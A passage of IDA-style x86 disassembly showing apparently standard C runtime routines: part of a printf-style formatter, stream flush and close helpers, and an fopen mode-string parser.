loc_41491E: ; CODE XREF: sub_41461C+2C5j
call sub_414DFB
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_414931: ; CODE XREF: sub_41461C+2E1j
; sub_41461C+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_414C26
; ---------------------------------------------------------------------------
loc_41493F: ; CODE XREF: sub_41461C+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_414DFB
test eax, eax
pop ecx
jz short loc_414980
mov ecx, [eax+4]
test ecx, ecx
jz short loc_414980
test byte ptr [ebp+var_4+1], 8
jz short loc_414971
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_414C26
; ---------------------------------------------------------------------------
loc_414971: ; CODE XREF: sub_41461C+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_414C23
; ---------------------------------------------------------------------------
loc_414980: ; CODE XREF: sub_41461C+32Fj
; sub_41461C+336j
mov eax, off_4314A8
mov [ebp+var_8], eax
push eax
jmp loc_414A1C
; ---------------------------------------------------------------------------
loc_41498E: ; CODE XREF: sub_41461C+29Dj
jnz short loc_41499C
cmp bl, 67h
jnz short loc_41499C
mov [ebp+var_10], 1
loc_41499C: ; CODE XREF: sub_41461C+2AAj
; sub_41461C:loc_41498Ej ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_4317E8
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_4149EE
cmp [ebp+var_10], 0
jnz short loc_4149EE
lea eax, [ebp+var_248]
push eax
call off_4317F4
pop ecx
loc_4149EE: ; CODE XREF: sub_41461C+3BCj
; sub_41461C+3C2j
cmp bl, 67h
jnz short loc_414A05
test esi, esi
jnz short loc_414A05
lea eax, [ebp+var_248]
push eax
call off_4317EC
pop ecx
loc_414A05: ; CODE XREF: sub_41461C+3D5j
; sub_41461C+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_414A1B
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_414A1B: ; CODE XREF: sub_41461C+3F0j
push edi
loc_414A1C: ; CODE XREF: sub_41461C+36Dj
call sub_4126F0
pop ecx
jmp loc_414C23
; ---------------------------------------------------------------------------
loc_414A27: ; CODE XREF: sub_41461C+1E9j
sub eax, 69h
jz loc_414B01
sub eax, 5
jz loc_414AD7
dec eax
jz loc_414AC4
dec eax
jz short loc_414A94
sub eax, 3
jz loc_414849
dec eax
dec eax
jz loc_414B05
sub eax, 3
jnz loc_414C26
mov [ebp+var_2C], 27h
jmp short loc_414AA2
; ---------------------------------------------------------------------------
loc_414A66: ; CODE XREF: sub_41461C+270j
; sub_41461C+27Aj
sub eax, ecx
sar eax, 1
jmp loc_414C23
; ---------------------------------------------------------------------------
loc_414A6F: ; CODE XREF: sub_41461C+24Fj
test ecx, ecx
jnz short loc_414A7C
mov ecx, off_4314A8
mov [ebp+var_8], ecx
loc_414A7C: ; CODE XREF: sub_41461C+455j
mov eax, ecx
loc_414A7E: ; CODE XREF: sub_41461C+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_414A8D
cmp byte ptr [eax], 0
jz short loc_414A8D
inc eax
jmp short loc_414A7E
; ---------------------------------------------------------------------------
loc_414A8D: ; CODE XREF: sub_41461C+467j
; sub_41461C+46Cj
sub eax, ecx
jmp loc_414C23
; ---------------------------------------------------------------------------
loc_414A94: ; CODE XREF: sub_41461C+425j
mov [ebp+var_10], 8
loc_414A9B: ; CODE XREF: sub_41461C+201j
mov [ebp+var_2C], 7
loc_414AA2: ; CODE XREF: sub_41461C+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_414B0C
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_414B0C
; ---------------------------------------------------------------------------
loc_414AC4: ; CODE XREF: sub_41461C+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_414B0C
or byte ptr [ebp+var_4+1], 2
jmp short loc_414B0C
; ---------------------------------------------------------------------------
loc_414AD7: ; CODE XREF: sub_41461C+417j
lea eax, [ebp+arg_8]
push eax
call sub_414DFB
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_414AF0
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_414AF5
; ---------------------------------------------------------------------------
loc_414AF0: ; CODE XREF: sub_41461C+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_414AF5: ; CODE XREF: sub_41461C+4D2j
mov [ebp+var_28], 1
jmp loc_414D24 ; default
; ---------------------------------------------------------------------------
loc_414B01: ; CODE XREF: sub_41461C+2F7j
; sub_41461C+40Ej
or [ebp+var_4], 40h
loc_414B05: ; CODE XREF: sub_41461C+432j
mov [ebp+var_C], 0Ah
loc_414B0C: ; CODE XREF: sub_41461C+491j
; sub_41461C+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_414B1E
lea eax, [ebp+arg_8]
push eax
call sub_414E08
pop ecx
jmp short loc_414B5F
; ---------------------------------------------------------------------------
loc_414B1E: ; CODE XREF: sub_41461C+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_414B45
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_414B3A
call sub_414DFB
pop ecx
movsx eax, ax
loc_414B37: ; CODE XREF: sub_41461C+527j
; sub_41461C+539j
cdq
jmp short loc_414B5F
; ---------------------------------------------------------------------------
loc_414B3A: ; CODE XREF: sub_41461C+510j
call sub_414DFB
pop ecx
movzx eax, ax
jmp short loc_414B37
; ---------------------------------------------------------------------------
loc_414B45: ; CODE XREF: sub_41461C+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_414B57
call sub_414DFB
pop ecx
jmp short loc_414B37
; ---------------------------------------------------------------------------
loc_414B57: ; CODE XREF: sub_41461C+531j
call sub_414DFB
pop ecx
xor edx, edx
loc_414B5F: ; CODE XREF: sub_41461C+500j
; sub_41461C+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_414B80
test edx, edx
jg short loc_414B80
jl short loc_414B6F
test eax, eax
jnb short loc_414B80
loc_414B6F: ; CODE XREF: sub_41461C+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_414B84
; ---------------------------------------------------------------------------
loc_414B80: ; CODE XREF: sub_41461C+547j
; sub_41461C+54Bj ...
mov esi, eax
mov edi, edx
loc_414B84: ; CODE XREF: sub_41461C+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_414B8D
and edi, 0
loc_414B8D: ; CODE XREF: sub_41461C+56Cj
cmp [ebp+var_10], 0
jge short loc_414B9C
mov [ebp+var_10], 1
jmp short loc_414BA0
; ---------------------------------------------------------------------------
loc_414B9C: ; CODE XREF: sub_41461C+575j
and [ebp+var_4], 0FFFFFFF7h
loc_414BA0: ; CODE XREF: sub_41461C+57Ej
mov eax, esi
or eax, edi
jnz short loc_414BAA
and [ebp+var_1C], 0
loc_414BAA: ; CODE XREF: sub_41461C+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_414BB0: ; CODE XREF: sub_41461C+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_414BC0
mov eax, esi
or eax, edi
jz short loc_414BFB
loc_414BC0: ; CODE XREF: sub_41461C+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_413B10
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_413B90
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_414BF1
add ebx, [ebp+var_2C]
loc_414BF1: ; CODE XREF: sub_41461C+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_414BB0
; ---------------------------------------------------------------------------
loc_414BFB: ; CODE XREF: sub_41461C+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_414C26
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_414C19
test eax, eax
jnz short loc_414C26
loc_414C19: ; CODE XREF: sub_41461C+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_414C23: ; CODE XREF: sub_41461C+35Fj
; sub_41461C+406j ...
mov [ebp+var_C], eax
loc_414C26: ; CODE XREF: sub_41461C+21Bj
; sub_41461C+2FDj ...
cmp [ebp+var_28], 0
jnz loc_414D24 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_414C5E
test bh, 1
jz short loc_414C43
mov [ebp+var_16], 2Dh
jmp short loc_414C57
; ---------------------------------------------------------------------------
loc_414C43: ; CODE XREF: sub_41461C+61Fj
test bl, 1
jz short loc_414C4E
mov [ebp+var_16], 2Bh
jmp short loc_414C57
; ---------------------------------------------------------------------------
loc_414C4E: ; CODE XREF: sub_41461C+62Aj
test bl, 2
jz short loc_414C5E
mov [ebp+var_16], 20h
loc_414C57: ; CODE XREF: sub_41461C+625j
; sub_41461C+630j
mov [ebp+var_1C], 1
loc_414C5E: ; CODE XREF: sub_41461C+61Aj
; sub_41461C+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_414C7E
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_414D92
add esp, 10h
loc_414C7E: ; CODE XREF: sub_41461C+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_414DC3
add esp, 10h
test bl, 8
jz short loc_414CB0
test bl, 4
jnz short loc_414CB0
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_414D92
add esp, 10h
loc_414CB0: ; CODE XREF: sub_41461C+67Bj
; sub_41461C+680j
cmp [ebp+var_24], 0
jz short loc_414CF7
cmp [ebp+var_C], 0
jle short loc_414CF7
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_414CC5: ; CODE XREF: sub_41461C+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_419A5C
pop ecx
test eax, eax
pop ecx
jle short loc_414D0C
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_414DC3
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_414CC5
jmp short loc_414D0C
; ---------------------------------------------------------------------------
loc_414CF7: ; CODE XREF: sub_41461C+698j
; sub_41461C+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_414DC3
add esp, 10h
loc_414D0C: ; CODE XREF: sub_41461C+6BCj
; sub_41461C+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_414D24 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_414D92
add esp, 10h
loc_414D24: ; CODE XREF: sub_41461C+68j
; sub_41461C+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_414648
loc_414D35: ; CODE XREF: sub_41461C+1Fj
; sub_41461C+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41461C endp
; ---------------------------------------------------------------------------
off_414D3D dd offset loc_4147BB ; DATA XREF: sub_41461C+6Er
dd offset loc_414691 ; jump table for switch statement
dd offset loc_4146AC
dd offset loc_4146F8
dd offset loc_41472F
dd offset loc_414737
dd offset loc_41476C
dd offset loc_4147FF
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414D5D proc near ; CODE XREF: sub_41461C+1BDp
; sub_41461C+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_414D76
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_414D81
; ---------------------------------------------------------------------------
loc_414D76: ; CODE XREF: sub_414D5D+9j
push ecx
push [ebp+arg_0]
call sub_414507
pop ecx
pop ecx
loc_414D81: ; CODE XREF: sub_414D5D+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_414D8E
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414D8E: ; CODE XREF: sub_414D5D+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_414D5D endp
; =============== S U B R O U T I N E =======================================
sub_414D92 proc near ; CODE XREF: sub_41461C+65Ap
; sub_41461C+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_414DC0
mov esi, [esp+8+arg_C]
loc_414DA3: ; CODE XREF: sub_414D92+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_414D5D
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_414DC0
mov eax, edi
dec edi
test eax, eax
jg short loc_414DA3
loc_414DC0: ; CODE XREF: sub_414D92+Bj
; sub_414D92+25j
pop edi
pop esi
retn
sub_414D92 endp
; =============== S U B R O U T I N E =======================================
sub_414DC3 proc near ; CODE XREF: sub_41461C+670p
; sub_41461C+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_414DF7
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_414DD9: ; CODE XREF: sub_414DC3+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_414D5D
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_414DF7
mov eax, ebx
dec ebx
test eax, eax
jg short loc_414DD9
loc_414DF7: ; CODE XREF: sub_414DC3+Cj
; sub_414DC3+2Bj
pop edi
pop esi
pop ebx
retn
sub_414DC3 endp
; =============== S U B R O U T I N E =======================================
sub_414DFB proc near ; CODE XREF: sub_41461C+E5p
; sub_41461C+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_414DFB endp
; =============== S U B R O U T I N E =======================================
sub_414E08 proc near ; CODE XREF: sub_41461C+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_414E08 endp
; =============== S U B R O U T I N E =======================================
sub_414E18 proc near ; CODE XREF: sub_41461C+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_414E18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E26 proc near ; CODE XREF: sub_4123D4+17p
; sub_4123D4+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_414E44
mov ecx, off_4314B0
movzx eax, word ptr [ecx+eax*2]
jmp short loc_414E96
; ---------------------------------------------------------------------------
loc_414E44: ; CODE XREF: sub_414E26+10j
mov ecx, eax
push esi
mov esi, off_4314B0
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_414E69
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_414E72
; ---------------------------------------------------------------------------
loc_414E69: ; CODE XREF: sub_414E26+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_414E72: ; CODE XREF: sub_414E26+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call loc_419AC4
add esp, 1Ch
test eax, eax
jnz short loc_414E92
leave
retn
; ---------------------------------------------------------------------------
loc_414E92: ; CODE XREF: sub_414E26+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_414E96: ; CODE XREF: sub_414E26+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_414E26 endp
; =============== S U B R O U T I N E =======================================
sub_414E9B proc near ; CODE XREF: sub_412540+2Ap
; sub_419E27+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_463FE0
jnb loc_414F35
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:463EE0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_414F35
push edi
call sub_419D93
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_414F14
cmp edi, 1
jz short loc_414EE2
cmp edi, 2
jnz short loc_414EF8
loc_414EE2: ; CODE XREF: sub_414E9B+40j
push 2
call sub_419D93
push 1
mov ebp, eax
call sub_419D93
pop ecx
cmp eax, ebp
pop ecx
jz short loc_414F14
loc_414EF8: ; CODE XREF: sub_414E9B+45j
push edi
call sub_419D93
pop ecx
push eax
call dword_41D074 ; CloseHandle
test eax, eax
jnz short loc_414F14
call dword_41D06C ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_414F16
; ---------------------------------------------------------------------------
loc_414F14: ; CODE XREF: sub_414E9B+3Bj
; sub_414E9B+5Bj ...
xor ebp, ebp
loc_414F16: ; CODE XREF: sub_414E9B+77j
push edi
call sub_419D19
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_414F31
push ebp
call sub_418CFA
pop ecx
jmp short loc_414F46
; ---------------------------------------------------------------------------
loc_414F31: ; CODE XREF: sub_414E9B+8Bj
xor eax, eax
jmp short loc_414F49
; ---------------------------------------------------------------------------
loc_414F35: ; CODE XREF: sub_414E9B+Ej
; sub_414E9B+2Fj
and dword_462BC8, 0
mov dword_462BC4, 9
loc_414F46: ; CODE XREF: sub_414E9B+94j
or eax, 0FFFFFFFFh
loc_414F49: ; CODE XREF: sub_414E9B+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_414E9B endp
; =============== S U B R O U T I N E =======================================
sub_414F4E proc near ; CODE XREF: sub_412540+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_414F77
test al, 8
jz short loc_414F77
push dword ptr [esi+8]
call sub_412813
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_414F77: ; CODE XREF: sub_414F4E+Aj
; sub_414F4E+Ej
pop esi
retn
sub_414F4E endp
; =============== S U B R O U T I N E =======================================
sub_414F79 proc near ; CODE XREF: sub_415019+2Dp
; sub_415019+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_414F8B
push esi
call sub_415019
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_414F8B: ; CODE XREF: sub_414F79+7j
push esi
call sub_414FB4
test eax, eax
pop ecx
jz short loc_414F9B
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_414F9B: ; CODE XREF: sub_414F79+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_414FB0
push dword ptr [esi+10h]
call sub_419DD0
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_414FB0: ; CODE XREF: sub_414F79+26j
xor eax, eax
pop esi
retn
sub_414F79 endp
; =============== S U B R O U T I N E =======================================
sub_414FB4 proc near ; CODE XREF: sub_412540+1Ap
; sub_41380E+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_415001
test ax, 108h
jz short loc_415001
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_415001
push edi
push eax
push dword ptr [esi+10h]
call sub_41978C
add esp, 0Ch
cmp eax, edi
jnz short loc_414FFA
mov eax, [esi+0Ch]
test al, 80h
jz short loc_415001
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_415001
; ---------------------------------------------------------------------------
loc_414FFA: ; CODE XREF: sub_414FB4+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_415001: ; CODE XREF: sub_414FB4+14j
; sub_414FB4+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_414FB4 endp
; =============== S U B R O U T I N E =======================================
sub_415010 proc near ; CODE XREF: sub_419A48p
push 1
call sub_415019
pop ecx
retn
sub_415010 endp
; =============== S U B R O U T I N E =======================================
sub_415019 proc near ; CODE XREF: sub_414F79+Ap
; sub_415010+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_463EC0, esi
jle short loc_415077
loc_41502A: ; CODE XREF: sub_415019+5Cj
mov eax, dword_462EB0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41506E
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41506E
cmp [esp+0Ch+arg_0], 1
jnz short loc_415054
push eax
call sub_414F79
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41506E
inc ebx
jmp short loc_41506E
; ---------------------------------------------------------------------------
loc_415054: ; CODE XREF: sub_415019+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41506E
test cl, 2
jz short loc_41506E
push eax
call sub_414F79
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41506E
or edi, eax
loc_41506E: ; CODE XREF: sub_415019+1Bj
; sub_415019+23j ...
inc esi
cmp esi, dword_463EC0
jl short loc_41502A
loc_415077: ; CODE XREF: sub_415019+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_415082
mov eax, edi
loc_415082: ; CODE XREF: sub_415019+65j
pop edi
pop esi
pop ebx
retn
sub_415019 endp
; =============== S U B R O U T I N E =======================================
sub_415086 proc near ; CODE XREF: sub_412596+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41997D
test eax, eax
pop ecx
jz short loc_41510F
cmp esi, offset dword_431BC8
jnz short loc_4150A4
xor eax, eax
jmp short loc_4150AF
; ---------------------------------------------------------------------------
loc_4150A4: ; CODE XREF: sub_415086+18j
cmp esi, offset dword_431BE8
jnz short loc_41510F
push 1
pop eax
loc_4150AF: ; CODE XREF: sub_415086+1Cj
inc dword_462D84
test word ptr [esi+0Ch], 10Ch
jnz short loc_41510F
cmp dword_462C1C[eax*4], 0
push ebx
push edi
lea edi, ds:462C1Ch[eax*4]
mov ebx, 1000h
jnz short loc_4150F5
push ebx
call sub_41279F
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4150F5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_415102
; ---------------------------------------------------------------------------
loc_4150F5: ; CODE XREF: sub_415086+4Dj
; sub_415086+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_415102: ; CODE XREF: sub_415086+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41510F: ; CODE XREF: sub_415086+10j
; sub_415086+24j ...
xor eax, eax
pop esi
retn
sub_415086 endp
; =============== S U B R O U T I N E =======================================
sub_415113 proc near ; CODE XREF: sub_412596+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41513D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41514E
push esi
call sub_414FB4
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41513D: ; CODE XREF: sub_415113+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41514E
push eax
call sub_414FB4
pop ecx
loc_41514E: ; CODE XREF: sub_415113+10j
; sub_415113+32j
pop esi
retn
sub_415113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415150 proc near ; CODE XREF: sub_4125C8+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_462D8C
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_415189
cmp al, 72h
jz short loc_415182
cmp al, 77h
jnz loc_41529D
mov ecx, 301h
jmp short loc_41518E
; ---------------------------------------------------------------------------
loc_415182: ; CODE XREF: sub_415150+21j
xor ecx, ecx
or esi, 1
jmp short loc_415191
; ---------------------------------------------------------------------------
loc_415189: ; CODE XREF: sub_415150+1Dj
mov ecx, 109h
loc_41518E: ; CODE XREF: sub_415150+30j
or esi, 2
loc_415191: ; CODE XREF: sub_415150+37j
push 1
pop edx
loc_415194: ; CODE XREF: sub_415150+8Bj
; sub_415150+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_415283
cmp edx, ebx
jz loc_415283
movsx eax, al
cmp eax, 54h
jg short loc_415222
jz short loc_415212
sub eax, 2Bh
jz short loc_4151FC
sub eax, 19h
jz short loc_4151F2
sub eax, 0Eh
jz short loc_4151DD
dec eax
jnz loc_415274
cmp [ebp+var_4], ebx
jnz loc_415274
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_415194
; ---------------------------------------------------------------------------
loc_4151DD: ; CODE XREF: sub_415150+6Fj
cmp [ebp+var_4], ebx
jnz loc_415274
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_415194
; ---------------------------------------------------------------------------
loc_4151F2: ; CODE XREF: sub_415150+6Aj
test cl, 40h
jnz short loc_415274
or ecx, 40h
jmp short loc_415194
; ---------------------------------------------------------------------------
loc_4151FC: ; CODE XREF: sub_415150+65j
test cl, 2
jnz short loc_415274
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_415194
; ---------------------------------------------------------------------------
loc_415212: ; CODE XREF: sub_415150+60j
mov eax, 1000h
test ecx, eax
jnz short loc_415274
or ecx, eax
jmp loc_415194
; ---------------------------------------------------------------------------
loc_415222: ; CODE XREF: sub_415150+5Ej
sub eax, 62h
jz short loc_41526F
dec eax
jz short loc_415258
sub eax, 0Bh
jz short loc_415241
sub eax, 6
jnz short loc_415274
test ch, 0C0h
jnz short loc_415274
or ch, 40h
jmp loc_415194
; ---------------------------------------------------------------------------
loc_415241: ; CODE XREF: sub_415150+DDj
cmp [ebp+var_8], ebx
jnz short loc_415274
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_415194
; ---------------------------------------------------------------------------
loc_415258: ; CODE XREF: sub_415150+D8j
cmp [ebp+var_8], ebx
jnz short loc_415274
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_415194
; ---------------------------------------------------------------------------
loc_41526F: ; CODE XREF: sub_415150+D5j
test ch, 0C0h
jz short loc_41527B
loc_415274: ; CODE XREF: sub_415150+72j
; sub_415150+7Bj ...
xor edx, edx
jmp loc_415194
; ---------------------------------------------------------------------------
loc_41527B: ; CODE XREF: sub_415150+122j
or ch, 80h
jmp loc_415194
; ---------------------------------------------------------------------------
loc_415283: ; CODE XREF: sub_415150+4Aj
; sub_415150+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_419E27
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_4152A1
loc_41529D: ; CODE XREF: sub_415150+25j
xor eax, eax
jmp short loc_4152BB
; ---------------------------------------------------------------------------
loc_4152A1: ; CODE XREF: sub_415150+14Bj
mov eax, [ebp+arg_C]
inc dword_462D84
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
